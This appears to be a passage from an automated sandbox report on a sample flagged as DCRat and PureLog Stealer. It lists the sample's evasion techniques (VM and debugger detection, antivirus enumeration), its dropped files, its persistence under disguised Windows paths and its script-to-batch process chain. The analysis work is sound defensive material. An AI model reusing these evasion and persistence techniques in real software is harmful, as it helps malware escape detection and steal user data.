Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\blockcomSession\containerReview.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\blockcomSession\mQBLhXIPAJ.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\blockcomSession\mQBLhXIPAJ.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Source: C:\blockcomSession\containerReview.exe	Memory allocated: 1190000 memory reserve \| memory write watch	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Memory allocated: 1ABE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Memory allocated: A10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Memory allocated: 1A7D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Memory allocated: 1610000 memory reserve \| memory write watch
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Memory allocated: 1B3B0000 memory reserve \| memory write watch
Source: C:\blockcomSession\containerReview.exe	Memory allocated: 14B0000 memory reserve \| memory write watch
Source: C:\blockcomSession\containerReview.exe	Memory allocated: 1AFA0000 memory reserve \| memory write watch
Source: C:\blockcomSession\containerReview.exe	Memory allocated: 1130000 memory reserve \| memory write watch
Source: C:\blockcomSession\containerReview.exe	Memory allocated: 1AE60000 memory reserve \| memory write watch
Source: C:\ProgramData\dbg\containerReview.exe	Memory allocated: F80000 memory reserve \| memory write watch
Source: C:\ProgramData\dbg\containerReview.exe	Memory allocated: 1AB70000 memory reserve \| memory write watch
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Memory allocated: 1730000 memory reserve \| memory write watch
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Memory allocated: 1CF0000 memory reserve \| memory write watch
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Memory allocated: 15C0000 memory reserve \| memory write watch
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Memory allocated: 1B000000 memory reserve \| memory write watch
Source: C:\blockcomSession\containerReview.exe	Memory allocated: 1600000 memory reserve \| memory write watch
Source: C:\blockcomSession\containerReview.exe	Memory allocated: 1B370000 memory reserve \| memory write watch

Source: C:\blockcomSession\containerReview.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Thread delayed: delay time: 922337203685477
Source: C:\blockcomSession\containerReview.exe	Thread delayed: delay time: 922337203685477
Source: C:\blockcomSession\containerReview.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\dbg\containerReview.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Thread delayed: delay time: 922337203685477
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Thread delayed: delay time: 922337203685477
Source: C:\blockcomSession\containerReview.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Users\user\Desktop\fatality.exe

Window / User API: threadDelayed 621

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Windows\System32\SecurityHealthSystray.exe	Jump to dropped file
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\jPEOVQoM.log	Jump to dropped file
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\VquIdqjl.log	Jump to dropped file
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\nCWNxMEA.log	Jump to dropped file
Source: C:\blockcomSession\containerReview.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\RLUzQxgL.log	Jump to dropped file
Source: C:\blockcomSession\containerReview.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\PRRjZxCV.log	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Jump to dropped file
Source: C:\blockcomSession\containerReview.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\GgZbKUMi.log	Jump to dropped file
Source: C:\blockcomSession\containerReview.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\RUDRugHQ.log	Jump to dropped file
Source: C:\blockcomSession\containerReview.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\LTranRbW.log	Jump to dropped file
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\HTJtRROP.log	Jump to dropped file
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\ucFnGTXv.log	Jump to dropped file
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\eTDxNkzS.log	Jump to dropped file
Source: C:\blockcomSession\containerReview.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\yCQlabwB.log	Jump to dropped file

Source: C:\blockcomSession\containerReview.exe TID: 5400	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe TID: 7352	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe TID: 5032	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe TID: 1600	Thread sleep time: -922337203685477s >= -30000s
Source: C:\blockcomSession\containerReview.exe TID: 7232	Thread sleep time: -922337203685477s >= -30000s
Source: C:\blockcomSession\containerReview.exe TID: 7248	Thread sleep time: -922337203685477s >= -30000s
Source: C:\ProgramData\dbg\containerReview.exe TID: 7392	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe TID: 7560	Thread sleep time: -922337203685477s >= -30000s
Source: C:\blockcomSession\mQBLhXIPAJ.exe TID: 7616	Thread sleep time: -922337203685477s >= -30000s
Source: C:\blockcomSession\containerReview.exe TID: 7720	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BaseBoard
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\blockcomSession\mQBLhXIPAJ.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BaseBoard
Source: C:\blockcomSession\mQBLhXIPAJ.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\blockcomSession\mQBLhXIPAJ.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BaseBoard
Source: C:\blockcomSession\mQBLhXIPAJ.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\blockcomSession\mQBLhXIPAJ.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\blockcomSession\mQBLhXIPAJ.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\blockcomSession\mQBLhXIPAJ.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\blockcomSession\mQBLhXIPAJ.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\blockcomSession\containerReview.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\blockcomSession\containerReview.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\blockcomSession\containerReview.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\ProgramData\dbg\containerReview.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\blockcomSession\mQBLhXIPAJ.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\blockcomSession\containerReview.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\fatality.exe

Code function: 0_2_00DEA69B FindFirstFileW,FindFirstFileW,

0_2_00DEA69B

Source: C:\Users\user\Desktop\fatality.exe

Code function: 0_2_05256861 NtQueryInformationProcess,GetSystemInfo,

0_2_05256861

Source: C:\blockcomSession\containerReview.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Thread delayed: delay time: 922337203685477
Source: C:\blockcomSession\containerReview.exe	Thread delayed: delay time: 922337203685477
Source: C:\blockcomSession\containerReview.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\dbg\containerReview.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Thread delayed: delay time: 922337203685477
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Thread delayed: delay time: 922337203685477
Source: C:\blockcomSession\containerReview.exe	Thread delayed: delay time: 922337203685477

Source: C:\blockcomSession\containerReview.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior

Source: fatality.exe, 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: VBoxService.exe
Source: wscript.exe, 00000002.00000003.2152465564.0000000003366000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: fatality.exe, fatality.exe, 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: ~VirtualMachineTypes
Source: fatality.exe, 00000000.00000003.2048896610.0000000003436000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\d
Source: fatality.exe, fatality.exe, 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: ]DLL_Loader_VirtualMachine
Source: fatality.exe, 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: VMWare
Source: fatality.exe, 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: DLL_Loader_Marker]DLL_Loader_VirtualMachineZDLL_Loader_Reloc_Unit
Source: fatality.exe, 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: &VBoxService.exe
Source: mQBLhXIPAJ.exe, 00000013.00000002.2301749702.000000001B0A0000.00000004.00000020.00020000.00000000.sdmp, w32tm.exe, 00000024.00000002.2272127454.0000028265E07000.00000004.00000020.00020000.00000000.sdmp, w32tm.exe, 0000002B.00000002.2340738507.0000016EAD127000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\fatality.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\fatality.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\fatality.exe

Open window title or class name: ollydbg

Source: C:\Users\user\Desktop\fatality.exe	File opened: SIWDEBUG
Source: C:\Users\user\Desktop\fatality.exe	File opened: NTICE
Source: C:\Users\user\Desktop\fatality.exe	File opened: SICE

Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00E07DEE mov eax, dword ptr fs:[00000030h]	0_2_00E07DEE
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_05256069 mov eax, dword ptr fs:[00000030h]	0_2_05256069
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_05256393 mov eax, dword ptr fs:[00000030h]	0_2_05256393

Source: C:\blockcomSession\containerReview.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process token adjusted: Debug
Source: C:\blockcomSession\containerReview.exe	Process token adjusted: Debug
Source: C:\blockcomSession\containerReview.exe	Process token adjusted: Debug
Source: C:\ProgramData\dbg\containerReview.exe	Process token adjusted: Debug
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process token adjusted: Debug

Source: C:\blockcomSession\containerReview.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\fatality.exe

Code function: 0_2_00DFB7E0 __EH_prolog,SetDlgItemTextW,GetMessageW,IsDialogMessageW,TranslateMessage,DispatchMessageW,GetDlgItemTextW,EndDialog,GetDlgItem,SendMessageW,SendMessageW,SetFocus,_swprintf,_swprintf,_swprintf,ShellExecuteExW,_swprintf,SetDlgItemTextW,SetDlgItemTextW,GetDlgItem,GetWindowLongW,SetWindowLongW,SetDlgItemTextW,_wcslen,_swprintf,SendMessageW,SendDlgItemMessageW,GetDlgItem,SendMessageW,GetDlgItem,SetWindowTextW,SetDlgItemTextW,SetDlgItemTextW,DialogBoxParamW,EnableWindow,SendMessageW,SetDlgItemTextW,

0_2_00DFB7E0

Source: C:\Users\user\Desktop\fatality.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\blockcomSession\RezYUes00TmmVGwINjr2qWMSbF3Etb9Bt2Ra62zGWDtewTBc.vbe"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\blockcomSession\R3z0peym99fhJdrKbUwEGrQMoM2HpnSPGrE0X0k2hc.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\blockcomSession\containerReview.exe "C:\blockcomSession/containerReview.exe"	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qvvd4xnd\qvvd4xnd.cmdline"	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\glp1j4aa\glp1j4aa.cmdline"	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\aQ1wx53V7n.bat"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES8539.tmp" "c:\Program Files (x86)\Microsoft\Edge\Application\CSC4E919528C4A844BA8820AEF1C7C5AE5.TMP"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES87BA.tmp" "c:\Windows\System32\CSCBCEC8111DA4C46C5BB72BE8163F3D647.TMP"	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\2BGdjLelXV.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\dbg\containerReview.exe "C:\Users\All Users\dbg\containerReview.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: C:\blockcomSession\mQBLhXIPAJ.exe "C:\blockcomSession\mQBLhXIPAJ.exe"

Source: C:\Users\user\Desktop\fatality.exe

Code function: 0_2_00DFF654 cpuid

0_2_00DFF654

Source: C:\blockcomSession\containerReview.exe	Queries volume information: C:\blockcomSession\containerReview.exe VolumeInformation	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Queries volume information: C:\blockcomSession\mQBLhXIPAJ.exe VolumeInformation	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Queries volume information: C:\blockcomSession\mQBLhXIPAJ.exe VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\blockcomSession\containerReview.exe	Queries volume information: C:\blockcomSession\containerReview.exe VolumeInformation
Source: C:\blockcomSession\containerReview.exe	Queries volume information: C:\blockcomSession\containerReview.exe VolumeInformation
Source: C:\ProgramData\dbg\containerReview.exe	Queries volume information: C:\ProgramData\dbg\containerReview.exe VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Queries volume information: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe VolumeInformation
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Queries volume information: C:\blockcomSession\mQBLhXIPAJ.exe VolumeInformation
Source: C:\blockcomSession\containerReview.exe	Queries volume information: C:\blockcomSession\containerReview.exe VolumeInformation

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: mQBLhXIPAJ.exe, 00000013.00000002.2301749702.000000001B0FC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: mQBLhXIPAJ.exe, 00000013.00000002.2301749702.000000001B13C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ws Defender\MsMpeng.exe

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\blockcomSession\mQBLhXIPAJ.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\blockcomSession\mQBLhXIPAJ.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\blockcomSession\mQBLhXIPAJ.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\blockcomSession\mQBLhXIPAJ.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected DCRat

Source: Yara match	File source: 00000005.00000002.2227774812.0000000012D60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: containerReview.exe PID: 6536, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mQBLhXIPAJ.exe PID: 2172, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mQBLhXIPAJ.exe PID: 5624, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: fatality.exe, type: SAMPLE
Source: Yara match	File source: 0.3.fatality.exe.61276fb.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.fatality.exe.61236fb.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.fatality.exe.61236fb.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.containerReview.exe.780000.0.unpack, type: UNPACKEDPE
